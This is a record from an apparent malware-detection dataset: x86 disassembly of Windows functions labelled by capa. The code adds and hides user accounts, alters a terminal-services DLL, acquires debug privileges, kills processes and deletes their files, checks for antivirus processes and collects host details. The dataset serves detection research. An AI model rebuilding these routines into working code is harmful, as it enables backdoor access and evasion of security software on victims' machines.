joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410560
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._termsrv_t.dll
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4105d3
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4105bf
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8

Function at 0x410690
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 0x28
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x410715
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x34], 2
call ebx
push 0
push 0
push 0x10
lea eax, [esp + 0x28]
push eax
push 0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x41073e
mov ebx, dword [sym.imp.WTSAPI32.dll_WTSDisconnectSession]
mov eax, dword [esp + 0x14]
push 0
push dword [eax + esi]
push 0
call ebx
add esi, 4
cmp esi, edi
jb 0x410724
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41079b
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x34], 0
call ebx
push 0
push 0
push 0x10
lea eax, [esp + 0x28]
push eax
push 0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004120f0
mov esi, eax
test esi, esi
je 0x4107bf
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x18]
push eax
push esi
call fcn.00409ef0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x4107e0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 0x28
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x410865
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x34], 2
call ebx
push 0
push 0
push 0x10
lea eax, [esp + 0x28]
push eax
push 0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x41088e
mov ebx, dword [sym.imp.WTSAPI32.dll_WTSLogoffSession]
mov eax, dword [esp + 0x14]
push 0
push dword [eax + esi]
push 0
call ebx
add esi, 4
cmp esi, edi
jb 0x410874
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4108eb
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x34], 0
call ebx
push 0
push 0
push 0x10
lea eax, [esp + 0x28]
push eax
push 0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004120f0
mov esi, eax
test esi, esi
je 0x41090f
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x18]
push eax
push esi
call fcn.00409ef0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x410930
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x104
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x100], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], 0
call edi
lea ebx, [esi + 1]
push esi
add ebx, eax
call edi
push ebx
mov esi, eax
call edi
mov ecx, dword [esp + 0x10]
lea edi, [ecx + esi]
add edi, eax
call fcn.00410610
mov ecx, ebx
mov dword [esp + 0x20], eax
call fcn.00410610
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x30], 1
push eax
push 1
push 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 1
mov dword [esp + 0x4c], 0
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x410a4a
push 0xc8
push eax
lea eax, [esp + 0x48]
push eax
call fcn.00552b90
mov edx, dword [esp + 0x2c]
lea esi, [esp + 0x4c]
add esp, 0xc
sub esi, edx
movzx eax, word [edx]
lea edx, [edx + 2]
mov word [esi + edx - 2], ax
test ax, ax
jne 0x4109f0
lea eax, [esp + 0x40]
mov dword [esp + 0x18], eax
lea ecx, [edi + 2]
push 1
lea eax, [esp + 0x1c]
push eax
push 3
call fcn.00410610
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
test eax, eax
jne 0x410a4a
call fcn.00412c00
mov esi, eax
test esi, esi
je 0x410a4a
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x1c]
push eax
push esi
call fcn.00409ef0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0x10c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x410a70
Capabilities:
Delete user account

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov ecx, esi
call fcn.00410610
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserDel]
test eax, eax
je 0x410b4a
cmp eax, 0x8ad
je 0x410b4a
push esi
xorps xmm0, xmm0
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0xa4]
movq qword [ebp - 0x13], xmm0
push str.SAMSAMDomainsAccountUsersNames_s
push eax
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [ebp - 0x24]
lea edx, [ebp - 0xa4]
push 4
push ecx
push eax
push 3
push 0x5b3c90
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00414070
add esp, 0x18
test eax, eax
je 0x410b6c
push 2
push 0
push 0
push 0
push esi
mov edx, str.SAMSAMDomainsAccountUsersNames_
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00414390
add esp, 0x14
test eax, eax
je 0x410b6c
push 2
push 0
push 0
lea eax, [ebp - 0x24]
mov edx, str.SAMSAMDomainsAccountUsers_
push 1
push eax
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00414390
add esp, 0x14
test eax, eax
je 0x410b6c
call fcn.00412c00
mov esi, eax
test esi, esi
je 0x410b6c
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push esi
mov ecx, edi
call fcn.00409ef0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x4113b0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
push 0
push 0
push 0x10
push dword [eax]
mov edi, ecx
call dword [sym.imp.USER32.dll_PostMessageA]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push 0x411f70
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp + 8]
mov byte [eax], 0x18
mov esi, dword [ebp + 8]
test esi, esi
je 0x41140d
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push esi
mov ecx, edi
call fcn.00409ef0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
ret 4
Function at 0x411420
Capabilities:
Acquire debug privileges
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [esp + 0xc]
push edi
push eax
push 0x28
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4114a5
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp + 0xc]
lea eax, [esp + 0x30]
push 0x104
push 0
dec ebx
push eax
mov dword [ebp + 0xc], ebx
call fcn.00552b90
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
add esp, 0xc
mov dword [esp + 0x14], ecx
test ebx, ebx
je 0x41159a
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esi + 1]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x1c], edx
nop word [eax + eax]
push dword [edx + ecx]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x104
lea ecx, [esp + 0x34]
mov dword [esp + 0x14], eax
push ecx
push 0
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
push 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x18]
cmp byte [ecx], 0
je 0x41157a
test eax, eax
je 0x41157a
lea eax, [esp + 0x30]
xor esi, esi
push eax
call ebx
push 0xc8
call edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x411574
inc esi
cmp esi, 0xa
jge 0x411574
lea eax, [esp + 0x30]
push eax
call ebx
push 0xc8
call edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411550
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x10]
call esi
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
add ecx, 4
mov dword [esp + 0x14], ecx
cmp ecx, dword [ebp + 0xc]
jb 0x4114f0
jmp 0x4115a0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4115fd
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x14]
call esi
push 0x64
call edi
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x411620
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x1c], eax
lea eax, [esp + 4]
mov dword [esp + 8], ecx
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x411699
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 1
push eax
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x24], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x411706
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 1
push eax
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
Function at 0x411750
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x260], ebx
test ebx, ebx
je 0x411895
test eax, eax
je 0x411895
push esi
push edi
lea eax, [ebp - 0x25c]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x41183a
cmp byte [ebp - 0x25c], 0
je 0x41183a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea esi, [ebp - 0x25c]
nop dword [eax]
push 0x5b41d8
push esi
call edi
test eax, eax
je 0x41182c
push 0x5b41dc
push esi
call edi
test eax, eax
je 0x41182c
movzx eax, byte [esi]
mov byte [ebp - 0x268], al
movzx eax, byte [esi + 1]
mov byte [ebp - 0x267], al
lea eax, [ebp - 0x68]
push 0x64
push eax
lea eax, [ebp - 0x268]
mov byte [ebp - 0x266], 0
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x411848
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x68]
push ebx
push eax
push dword [ebp - 0x260]
call fcn.00558c10
add esp, 0xc
test eax, eax
je 0x41185b
add esi, 4
cmp byte [esi], 0
jne 0x4117c0
mov ebx, dword [ebp - 0x260]
mov esi, dword [ebp - 0x26c]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x26c]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x260]
add eax, ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret
Function at 0x412630
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov ebx, ecx
mov dword [ebp - 0xa8], str.zhudongfangyu.exe
push 2
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0xa4], 0x5b428c
mov dword [ebp - 0xa0], str.360sd.exe
mov dword [ebp - 0x9c], str.360
mov dword [ebp - 0x98], str.avp.exe
mov dword [ebp - 0x94], 0x5b42b4
mov dword [ebp - 0x90], str.kvmonxp.exe
mov dword [ebp - 0x8c], 0x5b42cc
mov dword [ebp - 0x88], str.RavMonD.exe
mov dword [ebp - 0x84], 0x5b42e0
mov dword [ebp - 0x80], str.Mcshield.exe
mov dword [ebp - 0x7c], 0x5b42f8
mov dword [ebp - 0x78], str.egui.exe
mov dword [ebp - 0x74], str.NOD32
mov dword [ebp - 0x70], str.kxetray.exe
mov dword [ebp - 0x6c], 0x5b4320
mov dword [ebp - 0x68], str.TMBMSRV.exe
mov dword [ebp - 0x64], 0x5b4334
mov dword [ebp - 0x60], str.Avgui.exe
mov dword [ebp - 0x5c], 0x5b4348
mov dword [ebp - 0x58], str.Avastsvc.exe
mov dword [ebp - 0x54], str.Avast
mov dword [ebp - 0x50], str.avguard.exe
mov dword [ebp - 0x4c], 0x5b4370
mov dword [ebp - 0x48], str.bdagent.exe
mov dword [ebp - 0x44], 0x5b4384
mov dword [ebp - 0x40], str.Msmpeng.exe
mov dword [ebp - 0x3c], 0x5b439c
mov dword [ebp - 0x38], str.Mpcmdrun.exe
mov dword [ebp - 0x34], 0x5b43b0
mov dword [ebp - 0x30], str.spider.exe
mov dword [ebp - 0x2c], str.Dr.Web
mov dword [ebp - 0x28], str.ccapp.exe
mov dword [ebp - 0x24], str.Norton
mov dword [ebp - 0x20], str.v3lsvc.exe
mov dword [ebp - 0x1c], 0x5b43f0
mov dword [ebp - 0x18], str.ayagent.aye
mov dword [ebp - 0x14], 0x5b4400
mov dword [ebp - 0x10], str.wsctrlsvc.exe
mov dword [ebp - 0xc], 0x5b4418
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x412815
xor edi, edi
nop word [eax + eax]
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x1d0], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x41280f
mov ebx, dword [ebp + edi*8 - 0xa8]
lea eax, [ebp - 0x1ac]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4127ef
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4127c3
mov ebx, dword [ebp - 0x1d4]
jmp 0x41280f
push dword [ebp + edi*8 - 0xa4]
mov ebx, dword [ebp - 0x1d4]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x5b3c0c
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc edi
cmp edi, 0x12
jl 0x4127a0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x412833
push 0x5b4420
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret
Function at 0x4129f0
Capabilities:
Get disk information
Get disk size
Get hostname
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x294
push 0
push ebx
mov dword [esp + 0x20], ebx
call fcn.00552b90
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ecx
push ebx
push 1
push str.ProcessorNameString
mov edx, 0x5b4458
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00414070
add esp, 0x18
test eax, eax
jne 0x412a66
movups xmm0, xmmword [str.Find_CPU_infomation_error]
movups xmmword [ebx], xmm0
movq xmm0, qword [0x5b4498]
movq qword [ebx + 0x10], xmm0
mov ax, word [0x5b44a0]
mov word [ebx + 0x18], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov eax, 0x95217cb1
mov edi, edx
shr edi, 0x18
imul ecx, edi, 0xfad9a400
add esi, ecx
mul esi
mov ecx, edx
shr ecx, 0x15
imul eax, ecx, 0x36ee80
sub esi, eax
mov eax, 0x45e7b273
mul esi
lea eax, [ebx + 0x32]
shr edx, 0xe
push edx
push ecx
push edi
push 0x5b44a4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebx + 0x96]
call fcn.00412630
push 0x32
lea eax, [ebx + 0xfa]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea ecx, [ebx + 0xc8]
call fcn.00412850
push 0x40
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00552b90
add esp, 0xc
mov dword [esp + 0x30], 0x40
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x38]
xorps xmm0, xmm0
mov eax, dword [esp + 0x3c]
xor esi, esi
shrd ecx, eax, 0x14
xor edi, edi
movq qword [esp + 0x71], xmm0
inc ecx
shr eax, 0x14
mov eax, dword [esp + 0x44]
mov dword [ebx + 0x138], ecx
mov ecx, dword [esp + 0x40]
shrd ecx, eax, 0x14
mov byte [esp + 0x79], 0
inc ecx
shr eax, 0x14
mov dword [ebx + 0x13c], ecx
xor ebx, ebx
nop
lea eax, [ebx + 0x42]
mov word [esp + 0x71], 0x5c3a
mov byte [esp + 0x70], al
lea eax, [esp + 0x70]
push eax
mov byte [esp + 0x77], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x412b9f
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
shrd ecx, eax, 0x1e
shr eax, 0x1e
add esi, ecx
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
shrd ecx, eax, 0x1e
shr eax, 0x1e
add edi, ecx
inc ebx
cmp ebx, 0x1a
jl 0x412b40
mov dword [esp + 0x10], edi
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push 1
mov dword [edi + 0x140], esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [edi + 0x144], eax
call esi
push eax
push 0
call esi
push eax
lea eax, [edi + 0x27e]
push str._d___d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x8c]
add esp, 0x10
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 4
Function at 0x412fa0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x412fb5
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x412ff6
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x412ff2
nop word [eax + eax]
cmp esi, edx
jae 0x412ff6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x412fe0
cmp esi, edx
jb 0x412ffb
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret